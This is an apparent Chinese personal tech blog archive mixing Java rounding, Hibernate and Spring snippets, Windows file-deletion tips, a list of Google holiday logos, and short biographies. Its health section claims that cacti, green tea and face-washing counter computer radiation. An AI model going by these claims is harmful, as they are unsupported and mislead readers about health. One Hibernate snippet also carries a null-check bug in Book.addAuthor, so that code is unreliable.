System.out.println("四舍五入取整:(2)=" + new BigDecimal("2").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(2.1)=" + new BigDecimal("2.1").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(2.5)=" + new BigDecimal("2.5").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(2.9)=" + new BigDecimal("2.9").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("凑整:Math.ceil(2)=" + (int)Math.ceil(i));
System.out.println("凑整:Math.ceil(2.1)=" + (int)Math.ceil(j));
System.out.println("凑整:Math.ceil(2.5)=" + (int)Math.ceil(k));
System.out.println("凑整:Math.ceil(2.9)=" + (int)Math.ceil(m));
System.out.println("舍掉小数取整:Math.floor(-2)=" + (int)Math.floor(-i));
System.out.println("舍掉小数取整:Math.floor(-2.1)=" + (int)Math.floor(-j));
System.out.println("舍掉小数取整:Math.floor(-2.5)=" + (int)Math.floor(-k));
System.out.println("舍掉小数取整:Math.floor(-2.9)=" + (int)Math.floor(-m));
System.out.println("四舍五入取整:(-2)=" + new BigDecimal("-2").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(-2.1)=" + new BigDecimal("-2.1").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(-2.5)=" + new BigDecimal("-2.5").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("四舍五入取整:(-2.9)=" + new BigDecimal("-2.9").setScale(0, BigDecimal.ROUND_HALF_UP));
System.out.println("凑整:Math.ceil(-2)=" + (int)Math.ceil(-i));
System.out.println("凑整:Math.ceil(-2.1)=" + (int)Math.ceil(-j));
System.out.println("凑整:Math.ceil(-2.5)=" + (int)Math.ceil(-k));
System.out.println("凑整:Math.ceil(-2.9)=" + (int)Math.ceil(-m));
}
}
posted @
2008-06-24 20:20 选宝网an9 阅读(14908) |
评论 (1) |
编辑 收藏
1、eclipse下创建web service项目
2、Axis2 运行时部署和使用简单 Web
posted @
2008-06-24 14:07 选宝网an9 阅读(1003) |
评论 (0) |
编辑 收藏
一款非常不错的JS表单验证框架(Tigra Form Vaildator)里面附有DEMO
posted @
2008-06-23 07:59 选宝网an9 阅读(2120) |
评论 (4) |
编辑 收藏
简体繁体转换
posted @
2008-06-19 12:01 选宝网an9 阅读(796) |
评论 (1) |
编辑 收藏
eclipse struts2插件下载
posted @
2008-05-30 15:18 选宝网an9 阅读(8558) |
评论 (3) |
编辑 收藏
摘要: package
com.e104cn.pda.data.anno;
import
java.io.Serializable;
import
java.util.Date;
import
javax.persistence.CascadeType;
import
javax.persistence.E...
阅读全文
posted @
2008-05-21 08:19 选宝网an9 阅读(4459) |
评论 (0) |
编辑 收藏
@SuppressWarnings("serial")
@Entity
@Table(name = "BOOK")
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
public class Book implements Serializable{
private static final long serialVersionUID = -2700610405985954588L;
private int oid;
private String name;
private String description;
private Date publish;
private Collection<Author> authors;
@Id
@GeneratedValue(strategy=GenerationType.SEQUENCE)
public int getOid() {
return oid;
}
public void setOid(int oid) {
this.oid = oid;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
@Temporal(value=TemporalType.TIMESTAMP)
public Date getPublish() {
return publish;
}
public void setPublish(Date publish) {
this.publish = publish;
}
@ManyToMany(
targetEntity=com.e104cn.pda.data.anno.Author.class,
cascade ={CascadeType.PERSIST,CascadeType.MERGE},
fetch=FetchType.LAZY
)
@JoinTable(
name = "book_author",
joinColumns ={@JoinColumn(name="book_id")},
inverseJoinColumns ={@JoinColumn(name= "author_id")}
)
public Collection<Author> getAuthors() {
return authors;
}
public void addAuthor(Author author){
if(author == null){
authors = new ArrayList<Author>();
}
if(!authors.contains(author)){
authors.add(author);
}
}
public void setAuthors(Collection<Author> authors) {
this.authors = authors;
}
}
/**@SuppressWarnings("serial")
@Entity
@Table(name = "AUTHOR")
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)*/
public class Author implements Serializable{
private static final long serialVersionUID = 7131973910486229579L;
private int id;
private String firstName;
private String lastName;
private boolean male;
private Date birthday;
@Transient
private Collection<Book> books ;
@Id
@GeneratedValue(strategy=GenerationType.SEQUENCE)
public int getId() {
return id;
}
public void setId(int oid) {
this.id = oid;
}
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public boolean isMale() {
return male;
}
public void setMale(boolean male) {
this.male = male;
}
@Temporal(value=TemporalType.TIMESTAMP)
public Date getBirthday() {
return birthday;
}
public void setBirthday(Date birthday) {
this.birthday = birthday;
}
@ManyToMany(mappedBy="authors",
cascade={CascadeType.PERSIST,CascadeType.ALL}
)
public Collection<Book> getBooks() {
return books;
}
public void addBook(Book book){
if(books == null){
books = new ArrayList<Book>();
}
if(!books.contains(book)){
books.add(book);
}
}
public void setBooks(Collection<Book> books) {
this.books = books;
}
}
1、去掉蓝色注释的部分即可解决错误.
2、 注:@ManyToMany(mappedBy="authors",属性一定要和book中的authors一致。
posted @
2008-05-20 08:54 选宝网an9 阅读(6667) |
评论 (0) |
编辑 收藏
1
package
com.e104cn.pda.test;
2
import
org.junit.AfterClass;
3
import
org.junit.BeforeClass;
4
import
org.junit.Test;
5
import
org.logicalcobwebs.proxool.ProxoolFacade;
6
import
org.springframework.context.ApplicationContext;
7
import
org.springframework.context.support.FileSystemXmlApplicationContext;
8
9
import
tw.com.testing.util.Code;
10
11
import
com.e104cn.pda.data.anno.Basic;
12
import
com.e104cn.pda.data.dao.IBasicDao;
13
public
class
BasicDAOTest
{
14
private
static
ApplicationContext context;
15
@BeforeClass
16
public
static
void
setUp()
{
17
context
=
new
FileSystemXmlApplicationContext(
new
String[]
{
"
WebContent/WEB-INF/applicationContext-hibernate.xml
"
,
"
WebContent/WEB-INF/applicationContext-service.xml
"
,
"
WebContent/WEB-INF/applicationContext-dao.xml
"
}
);
18
}
19
20
@AfterClass
21
public
static
void
tearDown()
{
22
//
ProxoolFacade.shutdown(0);
23
}
24
25
@Test
26
public
void
contextInit()
{
27
if
(context
!=
null
)
{
28
IBasicDao basicDao
=
(IBasicDao)context.getBean(
"
basicDao
"
);
29
if
(basicDao
!=
null
)
{
30
try
{
31
Basic basic
=
(Basic)basicDao.getData(
"
105400
"
);
32
if
(basic
!=
null
)
{
33
System.out.println(
new
Code().decode(basic.getEmail()));
34
}
35
}
catch
(Exception e)
{
36
e.printStackTrace();
37
}
38
}
39
}
40
}
41
}
42
spring2.0,hibernate annotation,juint4, proxool做为连接池测试的应用程序,注释的部分去掉即可解决Exception.
posted @
2008-05-19 14:51 选宝网an9 阅读(2979) |
评论 (0) |
编辑 收藏
google词霸翻译
posted @
2008-05-08 16:33 选宝网an9 阅读(326) |
评论 (1) |
编辑 收藏
java代码规范
posted @
2008-05-05 18:24 选宝网an9 阅读(314) |
评论 (0) |
编辑 收藏
jsp编程指南2nd代码下载
posted @
2008-05-05 17:45 选宝网an9 阅读(262) |
评论 (0) |
编辑 收藏
上海地铁时刻表
posted @
2008-04-28 13:30 选宝网an9 阅读(2150) |
评论 (2) |
编辑 收藏
struts2,hibernate3,mysql修改时报错
Session session = HibernateUtil.getCurrentSessionFactory().openSession();
Transaction transaction = null;
try {
transaction = session.beginTransaction();
session.merge(user);
// 本来使用 saveOrupdate() 但是报错 transaction.commit();
} catch (Exception e) {
if (transaction != null) {
transaction.rollback();
}
throw e;
} finally {
if (session != null) {
session.close();
}
}
posted @
2008-04-18 16:13 选宝网an9 阅读(2739) |
评论 (0) |
编辑 收藏
上海外来人员综合保险查询
上海外来人员可通过上海劳动保障咨询电话12333查询综合保险卡内的余额。
posted @
2008-04-11 17:46 选宝网an9 阅读(194549) |
评论 (1112) |
编辑 收藏
这些URI方法encodeURI、encodeURIComponent()、decodeURI()、decodeURIComponent()代替了BOM的escape()和unescape()方法。URI方法更可取,因为它们对所有Unicode符号编码,而BOM方法只能对ASCII符号正确编码。尽量避免使用escape()和unescape()方法。摘自 javascript advanced book.
posted @
2008-01-31 10:30 选宝网an9 阅读(972) |
评论 (0) |
编辑 收藏
经过不断的努力,
104人力银行新版网站于今日上线了。基于struts2、hibernate3、webservice、及搜索引擎lucene的
选宝也要上线了!
posted @
2008-01-22 06:29 选宝网an9 阅读(527) |
评论 (1) |
编辑 收藏
http://www.so138.com/sov/9b7342c3-5b42-4054-a96b-5f7b68b1b63c.html
posted @
2008-01-08 08:32 选宝网an9 阅读(452) |
评论 (1) |
编辑 收藏
java.lang.IndexOutOfBoundsException
: Index: 0, Size: 0
at java.util.ArrayList.RangeCheck(ArrayList.java:546)
at java.util.ArrayList.get(ArrayList.java:321)
这种错误解决比较容易!一般都是一开始就初始化了,之后就没有做过插入操作。java.util.List listObj = new java.util.ArrayList();这样的话,当你执行listObj.get(index)的时候就会抛上面的异常。习惯的写法,一般都是java.util.List listObj = null; 或加一个判断if(!listObj.isEmpty()){listObj.get(index);}.
posted @
2008-01-04 09:59 选宝网an9 阅读(25102) |
评论 (8) |
编辑 收藏
在职场 细节决定一个人的成败
posted @
2008-01-04 09:47 选宝网an9 阅读(245) |
评论 (0) |
编辑 收藏
这里我再提供另一个,Unlocker 1.8.5国际版,需要安装的。
http://ccollomb.free.fr/unlocker/index.htm#download1.注消或重启电脑,然后再试着删除。
2.进入“安全模式删除”。
3.在纯DOS命令行下使用DEL,DELTREE和RD命令将其删除。
4.如果是文件夹中有比较多的子目录或文件而导致无法删除,可先删除该文件夹中的子目录和文件,再删除文件夹。
5.在任务管理器中结束Explorer.exe进程,然后在命令提示符窗口删除文件。
6.如果你有安装ACDSee,FlashFXP,Nero,Total这几个软件,可以尝试在这几个软件中删除文件夹。
二、高级解决方案:
1.磁盘错误
运行磁盘扫描,并扫描文件所在分区,扫描前确定已选上修复文件和坏扇区,全面扫描所有选项,扫描后再删除文件。
2.预读机制:
某些媒体播放中断或正在预览时会造成无法删除。在“运行”框中输入:REGSVR32 /U SHMEDIA.DLL,注销掉预读功能。或删除注册表中下面这个键值:[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{87D62D94-71B3-4b9a-9489-5FE6850DC73E}\InProcServer32]。
3.防火墙:
由于反病毒软件在查毒时会占用正在检查的文件,从而导致执行删除时提示文件正在使用,这时可试着暂时关闭它的即时监控程序,或许可以解决。
4.OFFice、WPS系列软件:
OFFice的非法关闭也会造成文件无法删除或改名。重新运行该程序,然后正常关闭,再删除文件。
5.借助WinRAR:
右击要删除的文件夹,选择“添加到压缩文件”。在弹出的对话框中选中“压缩后删除源文件,”随便写个压缩包名,点确定。
6.权限问题:
如果是2000和xp系统,请先确定是否有权限删除这个文件或文件夹。
7.可执行文件的删除:
如果可执行文件的映像或程序所调用的DLL动态链接库文件还在内存中未释放,删除时就会提示文件正在使用,解决方法是删除系统的页面文件,Win98中是Win386.SWP,Win2000/XP是pagefile.sys。注意要在DOS下删除。
8.文件粉碎法:
使用文件粉碎机,如File Pulverizer,可以彻底删除一些顽固文件。
三、制作一个无法删除的“文件保险箱”
文件夹无法删除,未必就是不好的事情,如果把一些重要的文件放在这个目录中,不就可以避免误删了吗?一个文件名只包含空格的文件夹在Windows中是不允许创建和删除的,但在DOS下却可以创建文件名包含\的文件夹。
在我们使用Windows的过程中,会遇到各种各样的问题。即使是最简单的删除文件也可能遇到麻烦,要么系统提示“文件正在被另一个人或程序使用”,要么就是报告“访问被拒绝”……如果你也遇到过这种情况,不妨看看本文。
原因一:文件正在使用中
在删除文件时,经常会遇到的一个问题是,文件正在使用,无法删除。如果试图删除以独占访问而不是以共享访问方式打开,并且正在使用中的文件时,系统就会出现错误提示:“无法删除xxx:文件正在被另一个人或程序使用”。而另一种情况则是,能够使用删除命令删除文件,但在打开文件的进程释放该文件之前,文件实际上并未删除。
要解决上述问题,需要确定拥有文件打开句柄的进程,然后关闭此进程。在以前的Windows中,我们可以使用资源工具包的Oh.exe。但在XP中,安装好的Support
Tools却不带Oh.exe。不过,XP提供了一个新的Openfiles.exe命令行工具,它能够报告进程打开的各个文件。与Oh.exe相似,Openfiles.exe也要求打开系统内核监视,这会消耗一些内存,并降低系统操作的性能。打开系统监视的命令是“Openfiles
/local
on”,它会启用系统全局标志“维护对象列表”,需重新启动系统才能生效。重新启动系统后,在命令提示符下执行不带参数的“Openfiles”,即可看到各个进程打开文件的清单。
原因二:文件系统损坏
磁盘上的坏区、其他硬件故障或者软件错误都可能会损坏文件系统,使文件出现问题而无法删除。典型操作失败的方式可能各不相同,当检测到文件系统损坏时,通常会收到一条提示运行Chkdsk的信息。
如果遇到这种情况,可以在磁盘卷上运行Chkdsk实用工具以纠正任何存在的错误。根据损坏的性质,Chkdsk也许能够恢复文件数据,也许无法恢复,但Chkdsk可以使文件系统返回到一种在内部一致的状态。有关Chkdsk实用工具的命令及参数,可以在命令提示符下执行“Chkdsk
/?”查阅。
原因三:文件使用了存取控制列表
如果某个文件使用了存取控制列表(Access Control
List,简称ACL),而操作者又没有相应的权限,那么删除文件时就可能出现“访问被拒绝”的提示。
通常情况下,管理员具有取得任何文件所有权的隐含能力,文件所有者也具有修改文件权限的隐含能力。不过,这些默认的权限是可以被修改的。
要解决因ACL导致文件无法删除的问题,就必须以具有相应权限的用户身份登录,或者是赋予自己删除文件的权限,然后才能删除文件。要注意的是,操作者必须拥有这些文件的所有权才能更改权限。如果是因为文件使用了不规范的ACL而不能使用某些安全工具显示或修改其权限时,可以尝试使用命令行工具Cacls.exe进行修改。
原因四:文件名使用了一个保留名称
众所周知,像AUX、LPT1这样的名称是为旧式DOS设备保留的。为了向后兼容,在Windows中不允许使用这些文件名,也不能使用典型的Win32文件调用来创建它们。反之,如果文件名是Win32命名空间中的一个保留名称,则同样可能无法删除此文件。
要解决此类问题,可以在Linux或其他非Windows的操作系统下重命名或删除该文件。另外,如果能够使用特定的语法指定到该文件的路径,也可以使用一些内置的命令绕过典型的Win32保留名称检查。例如,在Windows
XP中使用以下命令,可以删除名为“lpt1”的文件(Del命令后面加上“?”来避免Windows检查文件名的合法性):
Del [URL=http://3800cc.com/news/w31/file://?c:]?c:[/URL]文件路径lpt1
原因五:无效的文件名称
如果文件名中包括一个无效名称,例如文件名有一个尾随空格,或一个尾随句点,或者文件名仅由一个空格组成,同样可能无法删除该文件。值得一提的是,如果使用典型的Win32语法打开名称中有尾随空格或尾随句点的文件,则尾随空格或句点在打开实际文件之前会被去掉。因此,如果在同一个文件夹中有两个分别名为“File.txt”和“File.txt
”的文件(注意第二个文件名后面的空格),当使用标准Win32调用打开第二个文件时,实际上会打开第一个文件。同样,如果文件的名称仅是“
”(一个空格字符),当尝试使用标准Win32调用打开它时,实际上会打开该文件的父文件夹。在此情况下,如果尝试更改这些文件上的安全设置,就有可能会意外更改其他文件上的设置。
与解决文件名使用保留名称的方法类似,可以使用一种适当的内部语法删除此文件。例如要删除包含尾随空格的文件,可以使用如下命令:
Del [URL=http://3800cc.com/news/w31/file://?]?[/URL] c:文件路径(尾随空格的文件名)
原因六:文件路径太深无法访问
文件位于比最大路径字符数(MAX_PATH)更深的路径中,可能导致文件无法访问,当然,这种情况较为少见。如果路径深的原因是文件夹名称太长,最简便的解决方案是使用自动生成的8.3名称访问该文件。如果8.3路径也太长,可以从根文件夹开始重命名文件夹,缩短它们的名称,以使目标文件的路径深度不超过MAX_PATH。若是文件的深度超过128个文件夹,可以通过创建一个网络共享,使其位于文件夹树中尽可能深的位置,然后通过访问此共享来访问文件。
一般情况下,如果遇到因文件路径太深无法访问的情况,可以通过使用创建文件的软件来管理这些文件。也就是说,如果有一个程序,它可以创建超过MAX_PATH的文件,则我们也可以使用该程序来管理这些文件。此外,对于通过网络共享创建的深层次结构的文件也可以通过使用同一共享来进行删除。
前面介绍了Windows系统中文件或文件夹无法删除的几种原因以及解决的方法。在某些情况下,可能还会遇到上述各种原因的不同组合,使得删除文件的过程更加复杂。这就需要读者能够举一反三,灵活应用微软提供的各种实用工具进行解决了。
Windows XP中删除AVI文件的问题
很多朋友可能会遇到Windows XP中无法删除AVI文件的问题,这主要是由于Windows
XP视频预览功能的Bug所导致的。你可以尝试用以下方法进行删除。
方法一 在运行命令框中输入“Regs-vr32/u
Shmedia.dll”并回车,卸去Windows
XP的视频文件预览功能。当以后想要恢复视频预览功能时,再使用“Regsvr32Shmedia.dll”命令重新注册即可。
方法二
先打开命令提示符窗口,然后在任务管理器中结束Explorer进程,再从命令提示符窗口中切换到保存视频文件的文件夹下,用Del命令删除文件。
方法三
如果安装了双系统,可以从另一个系统,如Win98下进行删除。
来自(
http://www.evcip.com/dr/computer/200609/179240.shtml)
posted @
2007-12-17 15:54 选宝网an9 阅读(811) |
评论 (0) |
编辑 收藏
1、程序员
2、工程师
3、SA
4、DBA
5、PM
6、BOSS
posted @
2007-12-04 08:26 选宝网an9 阅读(1541) |
评论 (6) |
编辑 收藏
解决办法:
打开控制面板------>区域和语言--------->
Regional Options -> standards and formats区块------选择chinese(RPC)
location区块选择china
advanced->language for non-unicode programs区块选择chinese(RPC)即可.
我这里就是这样解决的。
posted @
2007-12-03 16:50 选宝网an9 阅读(3386) |
评论 (6) |
编辑 收藏
posted @
2007-11-19 09:10 选宝网an9 阅读(305) |
评论 (0) |
编辑 收藏
http://www.roseindia.net/struts/struts2/index.shtml
posted @
2007-11-01 17:52 选宝网an9 阅读(280) |
评论 (0) |
编辑 收藏
Ie&Firefox隐藏显示 DIV
posted @
2007-09-18 16:58 选宝网an9 阅读(420) |
评论 (0) |
编辑 收藏
2007年10月31日 勤俭日
2007 年 4 月 12 日
- 1961年4月12日,苏联抢先进行世界首次太空载人飞行,航天员Yuri Gagarin 成为第一个进入太空及地球轨道的人类.
2007 年 2 月 14 日
- Google 的情人节
2007年元旦
2006 年 12 月 21 日 ~ 25 日
2006 年 12 月 13日
- 爱德华·蒙克(Edvard Munch,1863年12月12日—1944年1月23日),挪威表现主义画家和版画复制匠。他对心理苦闷的强烈的,呼唤式的处理手法对20世纪初德国表现主义的成长起了主要的影响。 这个google logo来自其著名的作品《吶喊》(挪威语Skrik,也译作《尖叫》,作于1893年).
2006 年 12 月 1 日
- 12月1日是第19个世界艾滋病日
2006 年 10 月 6 日
- 中秋节
2006 年 9 月 10 日
- 教师节
2006 年 6 月 10 日
- 2006 年世界杯, 不知道为什么 www.google.cn 上面却看不到
2006 年 5 月 31 日
- 端午节
2006 年 5 月 22 日
- Sir Arthur Conan Doyle's Birthday: 创造了大侦探歇洛克-福尔摩斯形象的阿瑟-柯南道尔爵士.
2006 年 4 月 22 日
- 2006年, 地球日, 节约能源啊
2006 年 4 月 20 日
2006 年 4 月 17 日
- Google 刚刚确定了中文名, 中文的 logo 就换上去了
- 这是原来的 Logo:
2006 年 2 月 14 日
2006 年 2 月 11 日
2006 年 1 月 29 日
- 狗年春节, 旺旺旺!
2006 年 1 月 27 日
- 2006 年 1 月 27 日, 是莫扎特诞辰 250 周年;
2006 年 1 月 4 日
- Louis Braille,一位法国盲人少年,当他发明供盲人使用的由突起的点组成的书写和阅读方法时,年仅15岁。
- 1809年1月4日,路易布莱尔生于法国巴黎附近的库普雷村。布莱尔三岁的时候,一天在他父亲的工作室里玩耍,不慎被工具弄伤了一只眼睛,由此而引起的感染很快影响到另一只眼睛,到五岁时双目都失明了。十岁时,他被人送入巴黎皇家盲人学校学习。
- 1829年,布莱尔首次向巴黎盲人学校全体师生宣布了他的点字方案,要求领导予以审查,但遭到一些教师的反对。布莱尔经地十二多年的斗争,终于抑郁成疾,病倒床榻。就在他去世的前几天,他的一个女学生在一个盛大的音乐会上演奏钢琴,获得了好评。这个学生在向听众介绍她成功的经过时,提到了她的教师布莱尔,她把自己的成功完全归功于她的老师。于是她将布莱尔怎样创造这种点字,又怎样耐心地教她,以及布莱尔的点字至今尚示被学校当局所采用的经过情况,一一讲了出来,大家很感动。第二天,巴黎的报纸上登载了这个消息。在这种情况下,巴黎盲人学校只好采用这种受人欢迎的布莱尔点字。几天之后,布莱尔就与世长辞了,那是1852年。他才四十三岁。布莱尔的创造的盲字问世以来,实践给它做出了公正的结论。不仅世界各国分别建立了本国文字的盲字体系,而且有的国家根据需要制出他们的盲字符号和点字速记符号;不仅发挥并完善了布莱尔所设计的点字音乐符号体系,而且在他当年提出的基本数字符号的基础上,出现了完整的可以国际通用的盲字科学符号,从而使盲人能够更全面地掌握现代科学文化知识,象健全人一样钻研高深的科学文化的理论知识。
- 摘自"中国特殊教育网" http://www.spe-edu.net/info/2097.htm
2006 年 1 月 1 日
- 新年元旦
2005 年 12 月
2005 年 9 月 27 日, Google 七岁了
2005 年 9 月 18 日
- 海上生明月, 天涯共此时, 2005 年中秋节
2005 年 9 月 10 日
- 2005 年, 中国教师节
2005 年 4 月 22 日
- 2005 年, 地球日
2005 年 6 月 8 日
- 赖特(Frank Lloyd Wright)1867年6月8日,在威斯康星州的Richland Center出生;1959年4月9日,在亚利桑那州的Phoenix死去,享年91岁。Frank Lloyd Wright 是美国史上最伟大及互联网纾上知名的建筑师。
2005 年 4 月 15 日
- 列奥纳多·达·芬奇(Leonardo da Vinci)1452-1519. 意大利文艺复兴中期的著名美术家、科学家和工程师,1452年4月15日生于托斯卡纳的芬奇附近。
2005 年 3 月 30 日, 印象派大师 文森特·凡·高(Vincent van Gogh,1853-1890)于1853年3月30日出生在荷兰一个乡村牧师家庭.
2005 年 3 月 22 日, World Water Day(为唤起对淡水资源的关注, 联合国自1992年起把每年3月22日定为"世界淡水日")
2005 年 3 月 8 日, 国际妇女节
2005 年情人节的 Logo
2005 年春节的 Logo
2005 年 1 月 1 日, Google 的 2005 年新年 Logo, 看出什么来没有?
2004 年 12 月, Happy Holidays from Google, 更多请看
Google logo winter_holiday_042004-09-08 Google 已经 6 岁了 ( Google 六岁生日 - 2004 年 9 月 7 日)
2004 年夏季奥运会, 更多请看
Google logo summer20042004-04-23 地球日(1970年4月22日,在美国爆发了有2万人参加的公民环保行动。这一天被命名为地球日。)
posted @
2007-05-25 13:20 选宝网an9 阅读(376) |
评论 (1) |
编辑 收藏
1
//
本月的第一天
2
Calendar calendar
=
new
GregorianCalendar();
3
calendar.set( Calendar.DATE,
1
);
4
SimpleDateFormat simpleFormate
=
new
SimpleDateFormat(
"
yyyy-MM-dd
"
);
5
System.out.println(simpleFormate.format(calendar.getTime()));
6
7
//
本月的最后一天
8
Calendar calendar
=
new
GregorianCalendar();
9
calendar.set( Calendar.DATE,
1
);
10
calendar.roll(Calendar.DATE,
-
1
);
11
SimpleDateFormat simpleFormate
=
new
SimpleDateFormat(
"
yyyy-MM-dd
"
);
12
System.out.println(simpleFormate.format(calendar.getTime()));
13
14
posted @
2007-05-23 15:08 选宝网an9 阅读(4178) |
评论 (0) |
编辑 收藏
关键词语:注意酌情多吃一些胡萝卜、豆芽、西红柿、瘦肉、动物肝等富含维生素A、C和蛋白质的食物,经常喝些绿茶等等。
使用电脑时,最好在显示器前配备质量较好的防辐射屏。注意酌情多吃一些胡萝卜、豆芽、西红柿、瘦肉、动物肝等富含维生素A、C和蛋白质的食物,经常喝些绿茶等等。
对于生活紧张而忙碌的人群来说,抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶,吃一个橘子。茶叶中含有丰富的维生素A原,它被人体吸收后,能迅速转化为维生素A。维生素A不但能合成视紫红质,还能使眼睛在暗光下看东西更清楚,因此,绿茶不但能消除电脑辐射的危害,还能保护和提高视力。如果不习惯喝绿茶,菊花茶同样也能起着抵抗电脑辐射和调节身体功能的作用。
电脑辐射是不可避免的,但可以减少。首先,应尽可能购买新款的电脑,一般不要使用旧电脑,旧电脑的辐射一般较厉害,在同距离、同类机型的条件下,一般是新电脑的1-2倍。操作电脑时最好在显示屏上安一块电脑专用滤色板以减轻辐射的危害,室内不要放置闲杂金属物品,以免形成电磁波的再次发射。使用电脑时,要调整好屏幕的亮度,一般来说,屏幕亮度越大,电磁辐射越强,反之越小。不过,也不能调得太暗,以免因亮度太小而影响效果,且易造成眼睛疲劳。还要注意与屏幕保持适当距离。离屏幕越近,人体所受的电磁辐射越大,因此较好的是距屏幕半米以外。
电脑使用后,脸上会吸附不少电磁辐射的颗粒,要及时用清水洗脸,这样将使所受辐射减轻70%以上。
仙人掌除了可以攻击坏人,还有一项好处喔!据说在计算机桌前放置一仙人掌有助于减少辐射。
常用电脑的人会感到眼睛不适,视力下降,易有疲劳的感觉。常用电脑的人在饮食上应注意以下几方面:
吃一些对眼睛有益的食品,如鸡蛋、鱼类、鱼肝油、胡萝卜、菠菜、地瓜、南瓜、枸杞子、菊花、芝麻、萝卜、动物肝脏等。
多吃含钙质高的食品,如豆制品、骨头汤、鸡蛋、牛奶、瘦肉、虾等。
注意维生素的补充:多吃含有维生素的新鲜水果、蔬菜等。
注意增强抵抗力:多吃一些增强机体抗病能力的食物,如香菇、蜂蜜、木耳、海带、柑桔、大枣等。
吃一些抗辐射的食品:电脑虽然对人体健康影响较小,但也应预防。饮茶能降低辐射的危害,茶叶中的脂多糖有抗辐射的作用。螺旋藻、沙棘油也具有抗辐射的作用。
另外,用完电脑应洗脸,平时应注意锻炼身体。
电脑摆放位置很重要。尽量别让屏幕的背面朝着有人的地方,因为电脑辐射最强的是背面,其次为左右两侧,屏幕的正面反而辐射最弱。以能看清楚字为准,至少也要50厘米到75厘米的距离,这样可以减少电磁辐射的伤害。
注意室内通风:科学研究证实,电脑的荧屏能产生一种叫溴化二苯并呋喃的致癌物质。所以,放置电脑的房间最好能安装换气扇,倘若没有,上网时尤其要注意通风。
posted @
2007-05-16 14:34 选宝网an9 阅读(351) |
评论 (0) |
编辑 收藏
求伯君,1964年11月20日出生于浙江新昌县。1984年,毕业于中国人民解放军国防科技大学,后分配到河北省徐水县石油部物探局的一个仪器厂;1986年,从仪器厂辞职,加盟北京四通公司,1987年调深圳四通公司;1988年,加入香港金山公司,在深圳从事软件开发;1989年,转到珠海,成功开发国内第一套文字处理软件WPS;1994年,在珠海独立成立珠海金山电脑公司,自任董事长兼总经理。1998年,联想注资,金山重组,求伯君出任副董事长兼总裁。求伯君金山十年路1984年,求伯君从国防科技大学毕业后,被分配到河北省徐水县石油部物探局仪器厂。1986年他的生活被改变了。一个深圳大学的女学生到它们厂实习,为了爱情,求伯君去了一趟深圳。一段没有结局的爱情故事,却成了中国软件业一个传奇的开始。1986年底,求伯君辞掉公职,求伯君被深圳给迷住了。金山公司老板张旋龙给求伯君在深圳的一家宾馆里租了一间房子,摆上一台386电脑,让他编制开发他的文字处理程序。当香港金山公司与北京大学合作把装有WPS1.0的汉卡推向市场的时候,售出1000套。WPS上市了。1993年,鉴于求伯君为公司做出的贡献,香港金山公司的老板张旋龙在珠海为他买了一套价值200万元的别墅,作为奖励。1994年,香港金山公司被北大方正公司合并,求伯君在珠海成立了珠海金山软件公司。现在,金山是国内最有影响力的软件公司之一。这一年,美国微软的Windows系统在中国悄然登陆。微软OFFICE中的WORD迅速占领了中国文字处理软件市常为了应付挑战,求伯君首先卖掉公司奖励给他的豪华别墅,筹资400多万元,开始了每周7天、每天10多个小时、历时3年多的艰苦开发,终于推出了WPS97,而且一上市就登上了软件排行榜的榜首。WPS97推出仅两个多月,就销出了一万三千套,这样好的势头让求伯君始料未及。1998年8月,联想公司向金山公司注资900万美元,两大民族品牌的联手,给WPS带来了新的机遇。求伯君和联想公司联合,好处不仅仅是资本,还有联想成功的管理模式,联想对市场的运作方式:搭班子、定战略、带队伍。同时,求伯君看到了Inteet发展对文字处理软件的冲击。在从DOS转到Windows平台以后,WPS未来很有可能会转向Inteet平台。求伯君评价说:“联想公司注资带来的变化是巨大的,我们从散兵游勇变成了正规军。”1999年3月,求伯君领导的金山公司宣告智能集成办公软件WPS2000已于4月3日上市。长期由国外办公软件一统天下的被动局面终于结束。金山宣布,投入千万巨资,发布以WPS20...
posted @
2007-05-16 09:13 选宝网an9 阅读(727) |
评论 (1) |
编辑 收藏
Google创始人谢尔盖-布林(上图右)出生于莫斯科,是马里兰大学的荣誉毕业生,拥有数学和计算机专业的理学学士学位。随后他考入斯坦福大学计算机专业就读。他目前从计算机研究所博士班休学,全力发展Google公司。
谢尔盖-布林的父亲迈克尔-布林是一名数学家,曾经在前苏联的计划委员会就职,1979年他移民到了美国。他们一家是由于前苏联对犹太人的歧视政策移民的。迈克尔说:“我离开前苏联除了自身原因再有就是考虑到了谢尔盖的前途。当时我并没有考虑过谢尔盖会成为一名产业巨子,我只是希望他能顺利拿到博士学位,并最终成为一名对社会有用的人,当然最好是像我一样成为一名教授。”但是谢尔盖并没有按照父亲给他设定的规划发展,他在斯坦福大学攻读博士期间选择了休学,并和拉里-佩奇(上图左)一起创建了家喻户晓的互联网搜索引擎Google。
佩奇毕业于密歇根州安娜堡大学,拥有理学学士学位。受担任计算机系教授的父亲启蒙,佩奇早在1979年就开始使用计算机了。目前他暂时从斯坦福大学计算机研究所博士班休学与好友布林共同经营Google公司。
